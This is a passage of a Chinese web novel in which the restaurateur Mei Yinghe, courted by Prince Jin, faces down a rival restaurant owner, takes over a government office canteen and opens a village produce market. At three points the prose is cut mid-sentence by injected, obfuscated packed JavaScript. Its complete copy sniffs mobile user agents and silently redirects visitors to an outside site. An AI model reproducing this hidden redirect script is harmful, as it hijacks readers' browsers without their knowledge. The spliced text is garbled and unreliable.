梅映禾看着她喜不自胜的表情,那张脸都乐开花了。 “两万。”小梅高兴地从柜台里跑出来,“这还是打了折扣的,难怪你一心想做酒楼,原来这么赚钱啊。” 梅映禾:…… 我是这个意思吗。 不过盘算下来,三层一共七八十张桌子,这个收入嘛,梅映禾觉得还可以再开发。 正说着,打外头进来一群人,红彤彤绿油油一大片,都穿着朝服呢,红绿之中还有几位紫袍上官。 梅映禾一眼就看到了赵行之,他正同一同前来的左右二位说着什么,进门便有人问:“小娘子这里可供宵夜?” 那必须有,梅映禾请大家入座,因为没什么别的客人,虽是高官也都十分随意地在一楼大厅里散坐开来。 “各位大人想吃点儿什么。”梅映禾拿着菜单递过去。 有人接过菜单点菜,阿十在一旁记着,还有人问:“听说小娘子的烤串炙肉十分不错,不知今晚可能吃得到?” “对,还有小娘子亲酿的酒,如果还有也来上几坛子。” 那自然都有,梅映禾笑呵呵地下去准备,临走前看了一眼人群中左右逢缘的赵行之,印象之中七哥从不参加宴饮,更不曾跟同僚如此火热,义父说过他性子冷清,为避嫌同朝中大臣们素无往来。 “今日还要多谢晋王殿下的推举啊。”有人站起来朝赵行之行礼,“王爷的知遇之恩下官铭记在心。” “王爷今日给的建议也十分得宜,既解了陛下的燃眉之急又不会太铺张浪费,要知道刚过了年,国库也……” 那人做了一个搓手指的动作,捉襟见肘。 “王爷能请咱们吃饭便是看得起大家。” …… “各位肱骨都是陛下的左膀右臂,云策能得到老大人们的支持是小王的荣幸,难得各位赏光,今日咱们不醉不归。” 梅映禾听了几句便离开了大堂,七哥这是要变路数了吗,原来他竟如此长袖善舞的呀。 后厨,梅映禾忙着张罗烤串炙肉的食材,小梅悄悄进来,附在耳边道:“这一餐宵夜顶得上今天一日的收入了,你别说,七哥不出手则已,一出手定是一鸣惊人的。” 梅映禾惊道:“怎么会这么多,打个折扣,权当拉个老主顾。” 小梅撇撇嘴,“这还用你操心,你七哥在前头早就帮你拉过了,在座的有一个算一个都掏了银子,五百一千的还有两千的,说是做个长期食客,日后来用餐直接从这里头扣,还要有折扣。” 梅映禾惊呆了,七哥竟把她的招数都学了去了,难怪收入又翻倍了。 正在出神的工夫,小梅捅了捅梅映禾:“早儿,七哥叫你。” 梅映禾往灶房门口看过去,赵行之一身王爷莽服站在灯光里,面上带着笑正看着她。 “七哥。”梅映禾擦了手跑出去。 “怎么还要你自己做这些。”赵行之捏住她的手看,上头仍留有肉上的油脂。 “做惯了,都是油,别弄到你手上。”梅映禾想缩回手,无奈他拉得有些紧。 “叫他们做吧,你过来。”赵行之拉着她坐下,拿出一个精致的红木圆盒递给她,“送你的礼。” 圆盒散发着红木的香气,打开来竟是一盒子手膏,共有三个味道,桂花香、柑橘香和沉香。 看这成色和质地,精致又精细,恐怕非老百姓的常用之物。 “我跟皇兄讨来的。”赵行之拉着她的手没有放开,反倒放在自己的手掌心里揉搓,“你的手好看,仔细保养才是,瞧瞧,又冰又冷的,七哥给你揉揉。” 60. 你的计划里得有我 梅映禾被拉得很不自在,一双手上本就沾了油,又被赵行之的大手包裹着,濡出了汗,湿乎乎黏腻腻的,像极了他现在看她的眼神。 这人是怎么了,受什么刺激了,怎么一段时间没见仿佛变了一个人呢。 梅映禾很是疑惑,反复打量赵行之后,还是忍不住挣脱开他的大手,用手背量了量他的额头,不烧啊。 “七哥,你莫不是遇到什么事了?”梅映禾一脸关切,“是边关战事焦灼,还是什么人惹着你了,这又是请客又是处关系的,还这般……” 小娘子的眼神落在另一只仍被他包裹着的小手上,“有什么事你可以跟我说,咱们一起想办法,这天底下就没有解决不了的事。” 赵行之看着她一本正经的样子,那灼灼的眼神里透着满满的担忧和关怀,不禁失笑,我的小早儿啊,多么聪慧机灵的小娘子,怎么在这种事情上这么不开窍呢。 他的笑容被头顶的灯光照亮、放大,那素来清冷寡淡的脸上骤然出现了前所未有的灿烂的笑容,仿佛夺目的阳光下绽放得最艳丽的花,照亮了整个世界。 “没什么,只是想通了一些事儿。”赵行之终于放开了她的手,言语中带着一丝似有若无的暧昧意味,“想换个活儿法。” 梅映禾琢磨着这句话,不明就里地摇摇头。 “不明白啊。”赵行之轻笑了一下,“但愿你一辈子都不要明白。” 梅映禾:…… 看来真是喝多了。 他素来话少,这也是梅映禾第一次看他喝酒,竟不知他是那种酒后吐真言的性子。 “那你觉得这样可好?”赵行之问。 梅映禾疑惑,“问我吗?” 他点了点头,笑得很温柔,眼神一直定在她的脸上没挪开过。 “你们小娘子不都喜欢温柔体贴的郎君吗?” 梅映禾:…… “是,是吧。”她又说:“可是那是郎君啊,七哥是哥哥啊,我说不好。” “七哥是哥哥,也不是哥哥。”赵行之引导她,“你也不小了,终身大事也该考虑考虑了……” 梅映禾这会儿算是明白过来一点儿了,可是,这么突然吗,没有铺垫吗,七哥的意思是……我吗。 倏然,对面的人身子倾斜过来,遮盖住了她头顶的光,嗓音听上去有些沙哑,“早儿,你好好想想未来的计划,那计划里得有我。” 被直勾勾地盯着,梅映禾的脑子里转了十八个弯,面上的颜色从白到红又变白,等不及他把话说完就起身头也不回地逃跑了。 赵行之看着她远去的背影,笑得温暖:小早儿啊,害羞了。 害没害羞的,梅映禾也没往心里去。纵然别人有那样的意思,只要自己想好了此生不婚,便是说得再好听也同她没有关系。 智者不入爱河,梅映禾这辈子是来赚银子的。 新酒楼的开张足足忙了七八日才算渐渐步入常态,新店新伙计,一切慢慢地捋顺了,看着店里井然有序的样子,梅映禾拍了拍手:“得了,该去算账了。” 既然赵行之说了要陪同她一道去,那便一起去吧,现在全京城估计都知道云来酒楼有军方背景了吧,也不用遮掩了。 马车上,赵行之递给她一杯牛乳,“这是宫里赏赐的,据说是特质的牛乳,很是补身。” 梅映禾尝了一口,还是那个牛乳的味道,只不过更加醇厚了些。 道了谢便对上那双仍旧灼灼如星的眼神,满眼都是她。 自那一晚之后,这样的眼神这样的深情款款似乎就成了赵行之的常态,起初几日梅映禾还不适应,面对他的异常和大家的起哄,颇有一点儿不自在,可是后来就习惯了,毕竟嘛,谁知道他什么时候又变回去了呢。 压根就没放在心上。 梅映禾很严肃地看着赵行之,“一会儿到了地方七哥莫要多说话。” 赵行之笑着点头,“都听你的。” “这是我自己的事,七哥陪着我壮了声势便好,其他的交给我,毕竟都是同行,你涉入太深不好。” 赵行之无可无不可,反正他跟在她身边,对方若是敢妄动,他便让他们得到教训。 正值午食,梅映禾特意挑了这个时辰过来,却发现店里头的食客极少。 二人落座,跑堂地过来帮忙点菜,梅映禾挑了几样特色菜,又要了一壶这里最出名的桃花酿。 时值春日,正是桃红李白的季节,这个时候的桃花酿想来应当是最好喝的。 酒菜端上桌,梅映禾点了素烧鹅、烤仔鸡、油焖大虾和一道清炒百合,点菜的小跑堂说:“这素烧鹅和烤仔鸡是咱们的特色,油焖大虾是从旁的店学来的,不过咱们经过加工,做得竟比那家还要好吃。” 他口中的“那家”便是云来酒楼,梅映禾和赵行之品尝酒菜,二人对视,赵行之放下筷箸,不吃也不喝了。 这位王爷虽在吃食上挑剔了些,却也算是一个衡量标准。 酒菜实在难以下咽。 梅映禾叫来跑堂:“可否请你们的大师傅过来一叙。” 这是要见大厨,往常客人吃得好了都会点名叫大厨,然后给点儿赏钱,小跑堂不疑有他快速跑回去叫人。 不一会儿大厨过来,梅映禾竟没见过此人。 “先前的大师傅……”她很疑惑。 小跑堂赶紧解释:“先前的那伙儿人不好好干活,都辞了,现在的大师傅都是新来的,但是做菜的手艺却是……” 梅映禾没等他把话说完便明白了,“好,我也不兜圈子了,我是云来酒楼的东家,姓梅,烦请小哥儿请你们掌柜的来见我一面。” 小跑堂一愣,张口就来:“掌柜的不在。” 一看便是事先安排好的,梅映禾也不急,稳坐如泰山道:“好,那我便在这里等,等他来为止,若是我同食客们说了什么,可别怪我这人说话太直。” 小跑堂赶紧下去了,不多会儿又回来,点头哈腰赔笑道:“梅东家,我们东家在二楼包房,还请梅东家上楼一叙。” 梅映禾这才起身,环视一圈,店铺里早已没了客人,想来这个时候应当是自家酒楼最热闹的时候才对,这里却已经开始收拾了。 二人到楼上,进门便看到一位须发花白的长者,精瘦的脸庞眉眼耷拉着,脸上没什么表情看上去就是不好相处的面相。 “你就是梅东家?”对方倒是直爽,比了下手,示意二人落座,又瞥了一眼旁边的赵行之,“这位是你的夫君?” 赵行之:…… 你若是如此,那本王今日就不为难你了。 “在下梅映禾,好吃食铺、云来酒楼的东家,这位是我的七哥。”梅映禾介绍,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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都在这个行当生存,难保日子久了他托关系说到梅映禾眼前,她自然坚守得住,却也不得不顾及中间人的面子,如此必定让自己为难。 撕破脸永绝后患最好,这种烂人离得远远的才好。 崔东家还想反抗,一抬头看到赵行之一张满是肃杀之气的脸,就此歇菜。 方才梅映禾特意说了朔方军的名号,京城的老百姓都懂,这是一支所向披靡护卫京城安危的军队,纪律严明训练有素。据说朔方军是晋王殿下麾下,军队是很亲民的,首领却是个喜怒无常的活阎王。 这位晋王殿下自小就在京城中挂过名号的,顽劣不堪无恶不作,听说后来被陛下送去了部队里锻炼,据说当时不过六七岁的年龄,还是个小娃娃,回来后竟脱胎换骨仿若变了一个人,也自此造就出了名震四方的战神将军。 难道就是这位? 崔东家不敢再纠结了,对方的来头太大,是他惹不起的大佛,要怪就怪自己运气不好,本以为是个娇滴滴的小娘子好欺负,哎,什么都不说了,人家说啥应啥,过了这个坎儿再计较吧。 事情处理得很顺利,梅映禾临走时还不忘补了一句:“菜实在难吃,桃花酿也太清淡了些,对不起这招牌,更对不起银子。” 61. 用心了 说了一上午的话,梅映禾又累又渴,赵行之递过来一盏茶水,小娘子一饮而尽又将空杯递给他,赵行之又添了一杯,梅映禾又是一饮而尽。 连续三杯水下肚,面颊上微微发起热,口干舌燥之感才稍稍得到缓解。 “他家的菜实在太咸了。”梅映禾捧着不知第几杯水,一口又喝下了一大半,“看来新来的厨子上手很仓促。” 赵行之点头,“酒楼这个行当最依赖的便是厨子,而好厨子实在不好找,须得有多年的功底不说,还得不固执,得随着时节和食客口味的变化而变化手艺。那多半有许多年功底的老师傅都十分固执,不愿轻易改变,好像屈从食客是一件对自己手艺多么不尊重的事儿一样。” 这话倒是不假,让梅映禾想起了前些时候周大厨跟各家酒楼厨师交流切磋的事,周大厨曾经在京城也是有名的大厨,即便如此,有些人登门而来打着切磋的幌子,大有挑衅的意味。 不过好在周大厨是个老道的,别管对方如何傲慢怎样固执,只一招便能搞定,不服来战,你炒一盘我炒一盘,你自己尝尝也叫大家品评,高下立见,不带废话的。 不若如此,也难能好好地切磋交流。 想起这金玉满堂的崔东家,梅映禾摇头,“也算他自食其果吧,好厨子都走了,这回便是他登门去请,我看人家也未必愿意回来。” 的确如此,有手艺的老师傅都有些气结的,这样的局面再回去恐丢了面子,可若是不回去那必然要重新找新东家合作,个中麻烦不言而喻。 梅映禾凝眉。 车厢里偶有飘散进来的花香和雨后春笋的清甜气味,赵行之掀起车帘的一角,春日的暖阳照进来,将小娘子细腻白皙的皮肤照得透亮,羽睫上撒了一层淡淡的金粉,眨眼之间如蝶翅挥舞,金粉掉落,幻化成空气中的点点金光。 “方才那顿饭吃得不好,咱们再吃一顿?” 听到他的问话,梅映禾收回思绪,方才那菜实在不行,现在的确还饿着,可是不管怎么说,今日的事有他一半的功劳。 这个人一副八风不动稳如泰山的样子,方才也的确遵照她的嘱咐并未多言,可是在她看不见的地方,梅映禾甚至都能想到,赵行之眦眉瞪目,拉下一张狠脸吓唬人的样子。 再说,他这周身自然散发的贵气,想来那崔东家也不是个傻子,定能猜出他的身份,自己多少也有点儿狐假虎威的意思。 如是想着,抬头看看硕大的日头,梅映禾收回思绪露出笑脸,“今日多谢七哥相助,想吃什么,我请客。” 日日都在她店里吃,今日应当换个口味。 赵行之得了这话笑得灿烂,“那便跟我走吧。” 马车辘辘行在街道上,车窗两边传来嘈杂的人声,烟火气飘入,处处皆景。 又行了大约一炷香,马车停了下来。 赵行之示意梅映禾下车,这才看到竟然来了户部的官署地。 “这里曾经人挺多的,如今有些职能分化出去,现倒成了大家沟通之地,平日来这里办差的不少。”赵行之领着她进门,“我听说今日老师也过来了,想试试能否与他巧遇。” 听说义父也在,梅映禾不由得加快了脚步。 这间官署挺大的,想来过去也曾是极辉煌掌握大权之地,一共三进院子,进进出出的官员小吏络绎不绝,大家纷纷向晋王殿下行礼,赵行之也一一还礼。 大家都穿得差不多的官服,无非颜色花纹有些差别,梅映禾努力寻找义父的身影,却是遇到了熟人。 “小早,殿下。”文明修从东边一个房间里走出来,手里还端着餐盘,旁边的内侍赶紧跑过来拿走了他的餐盘去洗刷,三人这才正经见礼。 “文大人可看到我义父了。”梅映禾问。 “许大人原本今日是要过来的,临时被陛下请去了尚书房,便遣下官替他走一趟。”文明修笑了笑,“原来小早是来偶遇大人的,那可真是不巧。” “也不全是。”赵行之看了一眼文明修身后东边的房间,“午食可还有剩下?” “有,下官这就去……” “不用。”赵行之回头看了一眼梅映禾,“带你来尝尝官署的午食。” 这倒是新鲜的体验,梅映禾跟了进去。 这在后世相当于机关食堂吧,梅映禾想,这里看着倒是更像食铺,文明修帮忙准备餐点,都是现成的饭菜,也有专人给盛在食盒里,三人找了张桌子坐下。 食盒里一共四样菜,一道白菜炖粉条,零星点缀了些许肥腻的肉片,咸味太重;一道炖老鸭,清汤寡水上飘了些油花,鸭肉没炖烂,无从下口;一道辣炒牛肉,倒是极好的牛肉,只切得太厚根本嚼不动,只能吐掉;只有那道拌凉瓜还算勉强能入口,可是这道菜即便不放佐料只吃凉瓜也是不错的。 梅映禾哭笑不得。 赵行之笑道,“对不住,请你过来就为此事。” 梅映禾眨眨眼,“你不会是想换掉这里的厨子吧。” 赵行之笑得更甚了,小早聪慧啊,真是闻一知十。 旁边偶有穿着官服的官员小吏经过,本向跟晋王殿下见礼,却见他笑成了这般模样,这可是从未见过的奇景,大家一时竟觉得不好贸然上去打扰了。 文明修也是一愣,随即看看赵行之又看看小早,二人眉眼弯弯,眼神中只有彼此懂得的默契,外人是无论如何也插不进来的。 好像明白了什么,文明修法冲大家摆了摆手,众人免了礼数纷纷快步离去。 “这里的厨子本是一对夫妻,早年官署刚成立的时候,宫里头拨过来厨子,这对夫妻只负责供菜,后来厨子被宫里召回,有的离去,慢慢这对夫妻便接手了做饭的活儿。”赵行之一边慢慢说话,一边慢条斯理帮梅映禾挑拣菜里头的配料,“原本吃饭的人不多,这对夫妻还算忙得过来,后来人多了逐渐忙不过来,但是好歹每日也拼尽全力做出来六七道菜供大家选择,现在老两口年纪大了,体力不支,这才想着换人。” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一句话说到了文明修的心坎里,一则为公,文明修希望梅映禾做商总,二人合作起来会非常顺利愉快。再则为私,他也希望能和小早多接触。 但是这话从赵行之口中说出,文明修还是有些意外。先前文明修对这位晋王殿下谈不上好感更多是敬畏,但是每次看到他对小早的殷切和热情,心里总有些不舒服,还曾十分不解为何以小早的脾性竟能同这样的天潢贵胄打成一片。 如今算是明白了,赵行之不愧传闻中那般,清冷无情是真,不给面子也是真,可是若当真贴心起来也是十分善解人意、体贴周到的。 文明修的眼神落在赵行之面前的那一碟被挑出来的配料上,小早不吃花椒和炸糊了的葱片,也不吃姜,这些做菜用的配料她都不爱,赵行之就细心地一点一点为她挑出来,做得自然又熟悉。 看着二人细细说着事,一颦一笑眉眼对上彼此,那份自然的亲昵感,是他无法企及的。 心里默默长叹一口气,郁结之气堵在胸口,连带着都觉得外头的阳光也变得刺眼起来。 62. 马不停蹄 做商总的事梅映禾还是没有应,自觉没有那个能力和魄力能够兼顾自己的生意和大家的利益,还嫩得很呢,先历练历练吧。 这是她的想法,文明修也不好勉强,只一个劲儿地叹气,很是遗憾,再抬头看看面前两个人亲亲热热的模样,心里酸酸的,更遗憾。 商总的事不应,但梅映禾对于官署厨房的事倒是很感兴趣。 当即便让赵行之带着她见了那对老夫妻,说是老夫妻不过五十出头的年纪,其实并不老,只是常年劳作太辛苦,人看上去略显憔悴。 在确定了夫妻二人打算还乡不准备做下去之后,梅映禾松了一口气,这摊子事必须做好啊。 也不知是上辈子开新店开多了的缘故,还是这辈子享受养成系的乐趣,梅映禾发现自己尤其喜欢从无到有一点一点看着一个店铺、一间酒楼慢慢成形、壮大。 就好像养自己的小猫小狗小孩儿一样,颇有成就感。 “小早若是入仕必定是那开疆拓土的大将军,喜欢打天下。”赵行之的赞赏是由衷的,他自己也很喜欢这种疆场上一寸一寸拼出来土地的胜利,这么说来,他们二人还真是志同道合。 如是一想,赵行之的嘴角肉眼可见地压不下去了。 “这话可不能乱说,我可不想惹上那杀头的罪名。”梅映禾已经迫不及待想要开始了,“七哥,带我去看看厨房吧。” 说干就干,真是个雷厉风行的小娘子。 厨房相当于占了一个小院儿,只不过没有院墙,包括灶房、柴房,还有一口井和一间供大家吃饭的房间,若是吃饭的人太多了屋子里坐不下,垒起围墙成了院子,就可以摆些桌椅,尤其春秋夏三季的时候,在院子里吃饭比坐在有顶的房间里要畅快得多。 梅映禾仔仔细细地看了灶房的布局,很惊讶这里地方是真的大,竟然不比云来酒楼的灶房小多少,重新规划一下大约可以摆上八九个炉灶,旁边还有富余的空间可以用来摆柜子,再打几个吊柜,把零零碎碎的东西都收纳起来,又能腾出来一小块空间,梅映禾盘算着这里是官署衙门,合作谈得好应当能在这里挖个小小的冰窖,或者多囤些酒水粮食也是极好的。 想起来或许会有高官过来用饭,用餐的房间还需隔出来两个隔间,便于大佬们的隐私。 外头的这片空地梅映禾极喜欢,四四方方板板正正,好好收拾一下,把地面抹平多摆几张桌椅,边边角角的地方还可以种些葱和小菜。 这对老夫妻要走了,那供菜的货商也要重新找,梅映禾打算一并接下来,供肉菜自然交给老村长去负责,保证最新鲜最便宜。 赵行之和文明修站在一旁,看着小娘子东转转西转转,用脚步丈量尺寸,又拿着纸笔写写画画,忙活着大半个时辰方才停下。 虽说是初春的季节,可这大晌午在日头底下晒了这么久,梅映禾的脸上微微泛起红,越发衬得笑容灿烂明艳了。 “可是都想好了?”赵行之走过去,自然而然地拿出自己的锦帕递给她。 小娘子接过道了声谢,“都盘算得差不多了,这回可要多找几家比比价格比比手艺吗?” 就像上次万寿节宴席,很郑重。 “不用。”赵行之道,“这里文大人便能做主。” 文明修忙道:“是,你能接下我自然求之不得。” 于文明修而言这是桩让他轻松的事,梅映禾接管官署的厨房,口味菜色自不必提,必定不输外头的大酒楼,她还能各处打理得妥帖周到,不需要他操半点心,更重要的是,如此便更能时常见到她了。 方才还觉得灰暗的天空,稍微亮了一些,文明修憋在心中一中午的郁结之气总算舒缓了一点点。 得了准信儿,梅映禾一刻也不想耽搁,从户部官署出来便去找那几个厨师。 当时写下字据的时候梅映禾让其中打头的几个人留下了地址,她想早点儿把消息告诉他们,想来他们现在的日子也不好过吧。 马车上,赵行之看着她有些不解,“你当真不觉得他们应当付出代价吗?” 那些人开张那日给了她好大的难堪,实在太晦气了,做生意的人最是讲究顺顺利利,如此一来实在让人心里过不去。 梅映禾说:“冤有头债有主,他们虽说有自主选择的权利,却仍旧不得不听命于东家,想来也是怕失去这份收入,若是算过错也是一时心迷,并非罪魁祸首。” 都是牛马,梅映禾很懂这其中的不易。 “他们或许并未想给我造成什么实质性的损失,事实证明的确也没有,我不愿与大家为敌,都是做这一行的,树敌容易人才难得。” “树敌容易人才难得。”赵行之重复她的话,“小早竟通兵法?” 梅映禾:…… 七哥的彩虹屁有点儿过了。 赵行之笑得越发得意了。 几个打头的厨师住处距离都不算太远,梅映禾到的时候都在家中。张大厨夫妻两个正在吵架,妻子痛哭,在为孩子即将要交的束脩发愁;梁大厨独自一人唉声叹气;赵大厨倒是个行动派,妻子说出去找活儿干去了,在码头上搬货,“好歹还有一副好身子,家里老的老小的小,不能一日没有银子。” 剩下几个实在走投无路的便回去金玉满堂,听说月俸降了一半,正在纠结去留。 梅映禾说明来意,大家起先还不相信,赵行之道:“这是官署衙门决定的事,自然不会诓骗人。” 看着这位郎君英姿飒爽、气度非凡,光是那通身的锦缎和气派就知不是一般人,几位大厨这才联想到传闻梅东家与贵人有缘,怕不就是这位吧。 梅映禾只把事情说清楚,毫无保留却也不多劝,毕竟每个人有自己的选择和命运,她给了机会却不想强迫别人。 “如果各位应下,我是有规矩的,要丢掉你们之前做主厨、大厨的气派,在官署厨房里干活没有打杂的小厮和学徒,洗菜、切菜、备菜统统自己来,即便是日后带学徒也是正儿八经认师傅教本事,咱们不兴做贱人那一套。” 大家点头应下。 “所有的人都要先在好吃食铺跟周大厨学习交流,一切听从指挥,做菜不可随意,从前的经验宝贵却也要懂得改变。” 大家你看看我,我看看你面面相觑,“那咱们不成了傀儡了。” 一身的本事没处发挥,旁人说咋做就咋做,那还需要这样的大厨吗,岂不是普通的小师傅就能满足。 梅映禾说:“官署里有高官有小吏,大家口味不一而足,小吏或许还好说些,那些高官每日都要在御前走动,气味重的,容易饱腹胀气的,汗出如浆身上染了味儿的,都不行,到时候他们在御前丢了脸面出了纰漏,厨房里定然也不好过,追究下来不是闹着玩的,大家说是不是这个道理。” 这倒是大家没有见识过的,如此说来便都能理解了。 还是张大厨痛快,“梅东家你是个见过大世面的,咱们往后都听你的,只不过月俸咱们是跟谁结账。” “我,你们以后就是我梅映禾的人,算在云来酒楼名下。”梅映禾想了想,“这算是劳务输出,往后或许这种机会还有很多,等你们做得稳当了咱们还能带徒弟,到时候师傅可以抽徒弟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711528|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成。” 这些虽是远景,却足以打动人心,更重要的是让他们有一种安心、踏实的感觉。 当下便都签了契,三年为期,守规矩重信用,犯错当罚,有功必奖。 这事便如此定下了,梅映禾有些日子没有回村了,自过了年便一直在忙新酒楼开张的事宜,如今刚好去跟村长商量这个事情。 谁承想,村长已经在酒楼里等她了,还带了一车新鲜的瓜果。 “都是最新鲜的,这些是大伙儿给你的,咱们新种出来的果蔬,你尝尝。” 梅映禾年前曾经托赵行之从外域带回来一些种子,也不知道能不能种出来,如今看来还不错。 除了常见的桃子、梅子、柑橘之外,还有苹果、西瓜、葡萄之类的引进的新品种,虽说不如后世的味道那样汁满甜蜜,却已是很不错的口感了,梅映禾反倒觉得能吃出更多水果本真的味道,那种天然的香气。 “小早啊,有个事想请你参谋参谋。”老村长慢悠悠道,“如今咱们的粮食蔬果都很丰富,肉类更是新鲜,却被困在小村子里,每日靠几辆大车来回运送一来麻烦二来也实在运输有限,所以大伙儿想着能否在这京城里头盘个地方,咱们专门卖梅花村的菜。” 梅映禾一口葡萄进嘴巴里,酸甜溢满口腔,惊喜道:“菜市场啊,那太可以了。” “对就是菜市场,其实也不需要那么大,咱们不一定能做得了……” “不村长,可以,地方我来找。”梅映禾一口应下,“其实这是个好主意,怪我最近分心思的事情太多了,没顾得上帮村子里筹划。” 自过年之后老村长就同梅映禾主动重新敲定了合作方式,村子里的开发项目梅映禾是放了银子的,所以现在她是梅花村生意的大东家。 “只是这银子……”终于说到这个话题,老村长开始吞吞吐吐。 虽说梅花村这一年多赚了银子,大家的日子都好过了,可是毕竟留在村子里的流动现银还不够,若是想盘下京城里的地方做菜市场实在是困难。 “这个交给我。”梅映禾既然是这些生意的大东家,那自然也想将这事业发扬壮大,所以必要的投资是一定的,“您只管带着大家伙儿好好干便是。” 有了这句话,老村长的脸上终于绽开笑容,“小早啊,咱们村子真是幸运,若是没有你……” 老人家年纪大了,每次都禁不住感叹这来之不易的福气。 梅映禾又说起官署供菜的事,若是能在京成立盘下地方做菜市场,那自然更加方便,此事便一起定了。 梅映禾接下来又有的忙了。 看地方下定金,还得再多买几辆牛车,每日确保供菜及时,一套走下来已经过去了一个多月,好在都妥贴地安排落定。 梅映禾看着“梅花村菜场”几个大字,心里很是得意。 这块地方处于城北,距离云来酒楼比较近,也是从梅花村来必经之地,这样也更方便每日运送肉和菜。整个市场被梅映禾划分成四个部分,肉类、菜类、果蔬类和粗制。 若是有人买了肉菜想要做又不会,便可以在粗制区域请厨子简单制作,然后大厨还会教对方做菜的方法便于回家处理,这个地方竟然是每日排队最长的。 梅花村的菜市场一炮而红,许多菜贩想要加入进来,梅映禾照单全收,按照标准抽成和收管理费,一切井然有序按部就班。 几个月后,可观的收益被放在了御案之上,赵怀风的眼睛亮了又亮,当即嘉奖了文明修和许且。 许且很是得意,“臣不敢居功,此事陛下还需嘉奖一人。” 63. 这样挺好 户部官署食堂出名了。 自打梅映禾接手,里里外外重新翻修,就像做了一个新店一样,有雅间,有小座,有菜单还可以打包,除了没有酒水。 厨师都是正儿八经大酒楼的大厨,梅映禾挑了金玉满堂几位做得最好的大师傅过来,剩下的人被分到了好吃食铺和云来酒楼里干活。 菜色更是没的说,除了味道太冲难以克化的食物没有,其他的应有尽有,想吃什么可以点,还能提前预订菜肴,讲究的就是一个美味可口。 至于费用嘛,梅映禾打听得很清楚,官署的餐食是给官员们的福利,有一定的预算,而且预算是按照人头来算的,只要不超过预算便是可以的,况且人来得越多每个月的收入也自然更多。 因户部官署的餐食实在好吃,一时间竟一传十十传百在官员中间出了名,大家都纷纷来尝一尝,一尝便再难吃旁的了,如此人越来越多,每日都排上了长队。 还有人呼朋唤友特意过来品尝,听到友人惊叹地赞赏,“早知道读书做官能日日吃到这样的饭食,当年我必拼死也要参加科考的。” 满眼的羡慕让带来的小官人十分有优越感,与有荣焉道:“为着这可口的食物,便也能包容不少平日的烦闷和委屈。” 梅映禾在一旁点头,是这个道理没错,都是牛马人,若能每日得了食堂对于五脏六腑最大的慰藉,也能叫人在生不如死的工作中得以安慰和解脱的。 菜品实在太受欢迎,有人竟拿自家食盒装了饭菜就走,遇到同僚问起便毫无羞涩且十分骄傲道:“我家娘子爱吃这里的菜,这便带回去与她一起享用。” 说完还不忘冲梅映禾一礼,“我家娘子这几日做了腌菜,嘱咐我晒好了要带给小娘子尝一尝呢。” 真是惊喜,梅映禾也不推辞赶紧道谢。 如此一个多月之后,消息便传到了赵怀风的耳朵里,冬去春来,皇帝陛下的咳疾也好转了,每日吃的苦药少了人自然也有胃口了,每日听着大臣们聊到那户部官署的饭菜十分好奇,这便让李公公悄悄打了一份回来,三四个食盒打开,大约十几道菜,分量都不多却看着就十分诱人。 甚对胃口,那一餐饭赵怀风吃了两碗米饭,李公公喜极而泣,“陛下多久没有这样吃过饭食了。” 因是偷偷打回来的饭菜,赵怀风也不好明着赏赐,如此便只能等待。 等什么,自然是等账目报上来的时候才能名正言顺地奖赏。 这才有了文明修和许且被嘉奖的机会,但是二人都不居功,许且道:“此事乃晋王殿下一力促成,花小钱办大事,且是一件实事。” 赵怀风竟不知道其中还有这样的插曲,感慨道:“云策变了,许爱卿可有发觉,朕总觉得他开朗乐观了许多,对待朝中之事也不似从前那般漠不关心,竟然还能想得如此体贴,要知道这是在为朕安抚人心,朕得厚赏。” 放在御案之上那厚厚一沓户部官署的花销和收入,让赵怀风看了又看,各署衙开销每月有固定的支出,左右差不了多少,至于收入嘛,那便是没有的。 本来嘛,衙门是办差之地,只进不出的开销说是各署衙自行承担,其实还是靠宫中拨款。 可是这几个月,户部署衙的开销的确比之前大了不少,但是没有超过标准,关键是竟还有收入进项,左右一加一减竟比原先的支出还要少了许多。 为何会有收入,赵怀风仔细看账目才发现竟是卖包子馒头和酱菜、小食的收入。 堂堂户部署衙门,如何能成了做买卖的地方。 可是李公公说:“老奴已经打听过了,实在是因为那里的饭菜好吃出名,因不对外开放寻常百姓人家吃不到,于是便做了这简单易携带的包子小菜,本想着不为赚银子只叫老百姓也尝尝味道,卖的价格十分便宜,街面上的包子卖一文钱四个,户部的大包子又大陷又多才卖一文钱八个,真真只是个本钱。本意是好的,可是这样一来反而买的人更多,那掌事的便只能涨了价,按照市场价收,即便如此还是每日卖不过来。” 竟还有如此趣事,什么样的大包子这样好吃,赵怀风沉思良久,李公公会意,当即又命人悄悄去买了大包子和酱菜回来,皇帝陛下的晚膳竟然吃了八个大包子,撑的在宫里头散步了许久才消了食。 若说只单单是户部官署的收入倒不至于如此打动帝王,可是那份让赵怀风看了三遍的梅花村菜市场的收入明细着实令人惊讶。 那份收入的卷宗是被单独抄送的,先前只是一份户部的营收,只因这几个月的收入的确太过突出,虽然同大账目比起来算不得什么,可是这种每个月稳定增长的势头的确太振奋人心了。 “算下来户部已经近两年没有可喜的事了。”夜风拂动,帝王在御花园内慢悠悠地散步。 何止两年,李公公心里盘算着,这个年头过了已经三个年头了,这些年灾祸不断各地都缺银子,税收不上来户部早就入不敷出了。 